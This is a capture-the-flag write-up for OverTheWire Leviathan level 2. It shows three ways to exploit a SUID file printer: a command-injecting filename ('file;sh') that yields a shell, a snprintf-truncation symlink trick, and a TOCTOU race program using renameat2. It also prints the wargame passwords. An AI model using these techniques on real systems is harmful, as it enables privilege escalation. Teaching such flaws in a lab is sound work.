Access level

ssh leviathan2@leviathan.labs.overthewire.org -p 2223
ougahZi8Ta

Level goal

Exploit the SUID Binary to get the password for next level stored at /etc/leviathan_pass/leviathan3.

Explanation

This level is interesting as there is multiple ways to solve it and you lucky, we will see all of them.

First we start gathering informations about the binary and what it does.

leviathan2@leviathan:~$ ./printfile .bash_logout
# ~/.bash_logout: executed by bash(1) when login shell exits.

# when leaving the console clear the screen to increase privacy

if [ "$SHLVL" = 1 ]; then
    [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi

So this binary is printing the content of a file passed as argument, perfect then we just have to print the password stored at /etc/leviathan_pass/leviathan3.

leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...

Oops! Looks like we can’t, lets do a quick dynamic analysis with ltrace to see whats going on!

leviathan2@leviathan:~$ ltrace ./printfile /etc/leviathan_pass/leviathan3
access("/etc/leviathan_pass/leviathan3", 4)			= -1 (Permission denied)
puts("You cant have that file..."You cant have that file...)		= 27

It appears the syscall access returned a “Permission denied”.

To clearly understand access, I should introduce the set-uid (SUID) concept.

Set-uid binary

The set user ID is an access rights flag allowing an user to run an executable with the permission of the owner of the file.

leviathan2@leviathan:~$ ls -l printfile
(access rights)   (file owner) (group owner)
-r-sr-x--- 		1 leviathan3   leviathan2    7436 Aug 26  2019 printfile

To make an executable set-uid you have to use chmod as follow:

chmod u+s ./binary

For security reasons there is two more things existing about set-uid explained here.

Real user ID: The ID of the user who started the executable.
Effective user ID: The ID of the user we are using permissions

Using this script you can see the difference between RUID and EUID on a set-uid binary:

/**
	Filename: script.c
**/

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main () {
    printf("Real UID: %d Effective UID: %d\n", getuid(), geteuid());

    return 0;
}

Compile and set-uid with:

gcc script.c -o script; sudo chown root script; sudo chmod u+s script;

Then run:

[maxime@maxime ~] $ ./script
Real UID: 1000 Effective UID: 0

Here we see the Real UID is 1000, the user launching the program (maxime) and the EUID is 0 which is the root user.

Important: The set-uid effect of a binary is lost when used with programs like ltrace, strace, gdb, etc.

Before going through every solution of this challenge, we will repeat the ltrace call on a file we can normally open and see how a succeeding execution works.

leviathan2@leviathan:~$ ltrace ./printfile .bash_logout
access(".bash_logout", 4)      = 0
snprintf("/bin/cat .bash_logout", 511, "/bin/cat %s", ".bash_logout")   = 21
geteuid()    = 12002
geteuid()    = 12002
setreuid(12002, 12002)   = 0
system("/bin/cat .bash_logout")   = 0

if [ "$SHLVL" = 1 ]; then
    [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi

We will examine each calls separately to understand the program execution.

access(".bash_logout", 4)      = 0

Looking at the man page of access it is specified:

The access() function shall check the file named by the pathname pointed to by the path argument for accessibility according to the bit pattern contained in amode.

The checks for accessibility (including directory permissions checked during pathname resolution) shall be performed using the real user ID in place of the effective user ID and the real group ID in place of the effective group ID.

This explains why in the first execution the access call returned a “Permission denied” as our RUID during the execution was the leviathan2 user one and not leviathan3 user.

snprintf("/bin/cat .bash_logout", 511, "/bin/cat %s", ".bash_logout")   = 21

The snprintf function at a glance: make sure a string (which can be formatted with additional parameters) has at maximum length the second argument size, here 511, including the null terminator.

So here if we have a filename containing 510 characters, only (511 - “/bin/cat " = 502) the 8 last characters are going to be withdrawn.

geteuid()    = 12002
geteuid()    = 12002
setreuid(12002, 12002)   = 0

Here we are retrieving the current EUID and setting real and effective user IDs of the process. (geteuid & setreuid)

system("/bin/cat .bash_logout")   = 0

The content of file is displayed using the system command which takes as argument a string containing a shell command.

Now that we have analyzed a normal execution we can dig into the flaws this binary contains.

This level has 3 ways of solving, I’ll go through each of them from the easiest to the most complex.

First way: s(hell)

The problem that should come to your mind looking the ltrace output is the usage of the system command. Why limiting yourself to only one command 😀.

One could naively try this:

leviathan2@leviathan:~$ ./printfile ".bash_logout; sh"
You cant have that file...

Yes, you have forgotten the access syscall. To do this .bash_logout; sh should be a valid and readable file.

We end up with:

leviathan2@leviathan:~$ touch "/tmp/file;sh"
leviathan2@leviathan:~$ ./printfile "/tmp/file;sh"
/bin/cat: /tmp/file: No such file or directory
$ whoami
leviathan3
$ cat /etc/leviathan_pass/leviathan3
Ahdiemoo1j

You are now aware about the risk implied by a user input being as an argument of a shell command execution function.

Second way: fixed size is evil

One of the common programmer mistakes translating to security flaws is using fixed size value to check or sanitize user input.

You know what I’m refering to ?

snprintf("/bin/cat .bash_logout", 511, "/bin/cat %s", ".bash_logout")   = 21

So what we need to have the password of the next level:

  • Pass the access check
  • Obtain a shell or open the password file using leviathan3 permissions

This is going to be a bit messy:

# Path have been shrinked for beautifying the output
leviathan2@leviathan:/tmp/maxime$ mkdir $(printf 'a%0.s' {1..200}); cd a*; mkdir $(printf 'b%0.s' {1..200}); cd b*; mkdir $(printf 'c%0.s' {1..70}); cd c*; touch vulnerablevulnerablevulnerable
leviathan2@leviathan:/tmp/maxime/a..a/b..b/c..c$ ltrace ~/printfile /tmp/maxime/a..a/b..b/c..c/vulnerablevulnerablevulnerable
__libc_start_main(0x804852b, 2, 0xffffd194, 0x8048610 <unfinished ...>
access("/tmp/maxime/aa"..., 4)              = 0
snprintf("/bin/cat /tmp/maxime/aa"..., 511, "/bin/cat %s", "/tmp/maxime/aa"...)       = 524
geteuid()               = 12002
geteuid()               = 12002
setreuid(12002, 12002)  = 0
system("/bin/cat /tmp/maxime/aaaaaaaaaaa"..bin/cat: /tmp/maxime/a..a/b..b/c..c/vulnerablevulner: No such file or directory) = 0

What we’ve done here is creating a path to a file where the total length is greater than 511.

Looking at this we see the access check being successful because the file vulnerablevulnerablevulnerable exists, we have read access and path hasn’t been cut down by snprintf yet.

What is amusing know is the system function call, it is looking for a vulnerablevulner file. This is due to the string shrinking caused by snprintf.

As the access check pass and we can open a file with leviathan3 user permissions, we can do this:

leviathan2@leviathan:/tmp/maxime/a..a/b..b/c..c$ ln -s /etc/leviathan_pass/leviathan3 vulnerablevulner
leviathan2@leviathan:/tmp/maxime/a..a/b..b/c..c$ ~/printfile /tmp/maxime/a..a/b..b/c..c/vulnerablevulnerablevulnerable
Ahdiemoo1j

I know it’s a bit far-fetched but a vulnerability is a vulnerability 🙃.

Third way: TOCTOU

To understand this vulnerability you have to imagine that each instruction are spaced by 1 minute and that things can me modified during it.

leviathan2@leviathan:~$ ltrace ./printfile .bash_logout
access("/tmp/maxime/my_file", 4)      = 0
# 1 minute waiting and stuff may happen between :)
snprintf("/bin/cat /tmp/maxime/my_file", 511, "/bin/cat %s", "/tmp/maxime/my_file")   = 21
# 1 minute waiting and stuff may happen between :)
geteuid()    = 12002
# 1 minute waiting and stuff may happen between :)
geteuid()    = 12002
# 1 minute waiting and stuff may happen between :)
setreuid(12002, 12002)   = 0
# 1 minute waiting and stuff may happen between :)
system("/bin/cat /tmp/maxime/my_file")   = 0

if [ "$SHLVL" = 1 ]; then
    [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi

Like in the second way of solving, symbolic link could be handy here too.

We can imagine a scenario where after the access call the my_file file turns into a symbolic link to /etc/leviathan_pass/leviathan3.

The main problem with this scenario is that we don’t have 1 minute between each instruction but fortunately people before us have worked to make this possible.

The vulnerability is called TOCTOU (Time-of-check to time-of-use) and is part of a wider category called race conditions. I strongly advise you to read this paper, it’ll give you a good understanding of the concept and usages.

There’s different way to exploit this flaw, for simplicity sake we will use the one explained in this video of LiveOverflow.

Here is the source code to exploit race condition:

// Filename: race.c

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source: https://gist.github.com/LiveOverflow/590edaf5cf3adeea31c73e303692dec0
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

To compile it:

gcc -o race race.c

By using this script, we will provide two files as arguments that will have their properties swapped as fast as possible in an infinite loop.

We create those files with:

echo "failed" > bad; ln -s /etc/leviathan_pass/leviathan3 good;

Now opening 2 shell with have in the first one:

./race good bad

And in the second one we check with ls if the properties are changing:

leviathan2@leviathan:/tmp/maxime$ ls -l
-rw-r--r-- 1 leviathan2 root    7 Feb  4 15:02 bad
lrwxrwxrwx 1 leviathan2 root   30 Feb  4 15:02 good -> /etc/leviathan_pass/leviathan3

leviathan2@leviathan:/tmp/maxime$ ls -l
ls: cannot read symbolic link 'good': Invalid argument
-rw-r--r-- 1 leviathan2 root    7 Feb  4 15:02 bad
lrwxrwxrwx 1 leviathan2 root   30 Feb  4 15:02 good

leviathan2@leviathan:/tmp/maxime$ ls -l
lrwxrwxrwx 1 leviathan2 root   30 Feb  4 15:02 bad -> /etc/leviathan_pass/leviathan3
-rw-r--r-- 1 leviathan2 root    7 Feb  4 15:02 good

We see the properties of the files swapped with at first the good file having the symbolic link to the password file, then being in an unknown state and finally the bad file became the symlink to the password file.

Now letting the first shell running and trying to exploit the race condition we got:

leviathan2@leviathan:/tmp/maxime$ ~/printfile bad
failed

leviathan2@leviathan:/tmp/maxime$ ~/printfile bad
You cant have that file...

leviathan2@leviathan:/tmp/maxime$ ~/printfile bad
Ahdiemoo1j

For fun: When I first solved this race condition vulnerability I used the LiveOverflow trick and then did it again using a filesystem maze, give it a try, its fun!


Conclusion

Here we are with the 3 flaws exploited, sorry for the long post but I find this level very educational and amusing.

I hope you learnt something and had fun! See you!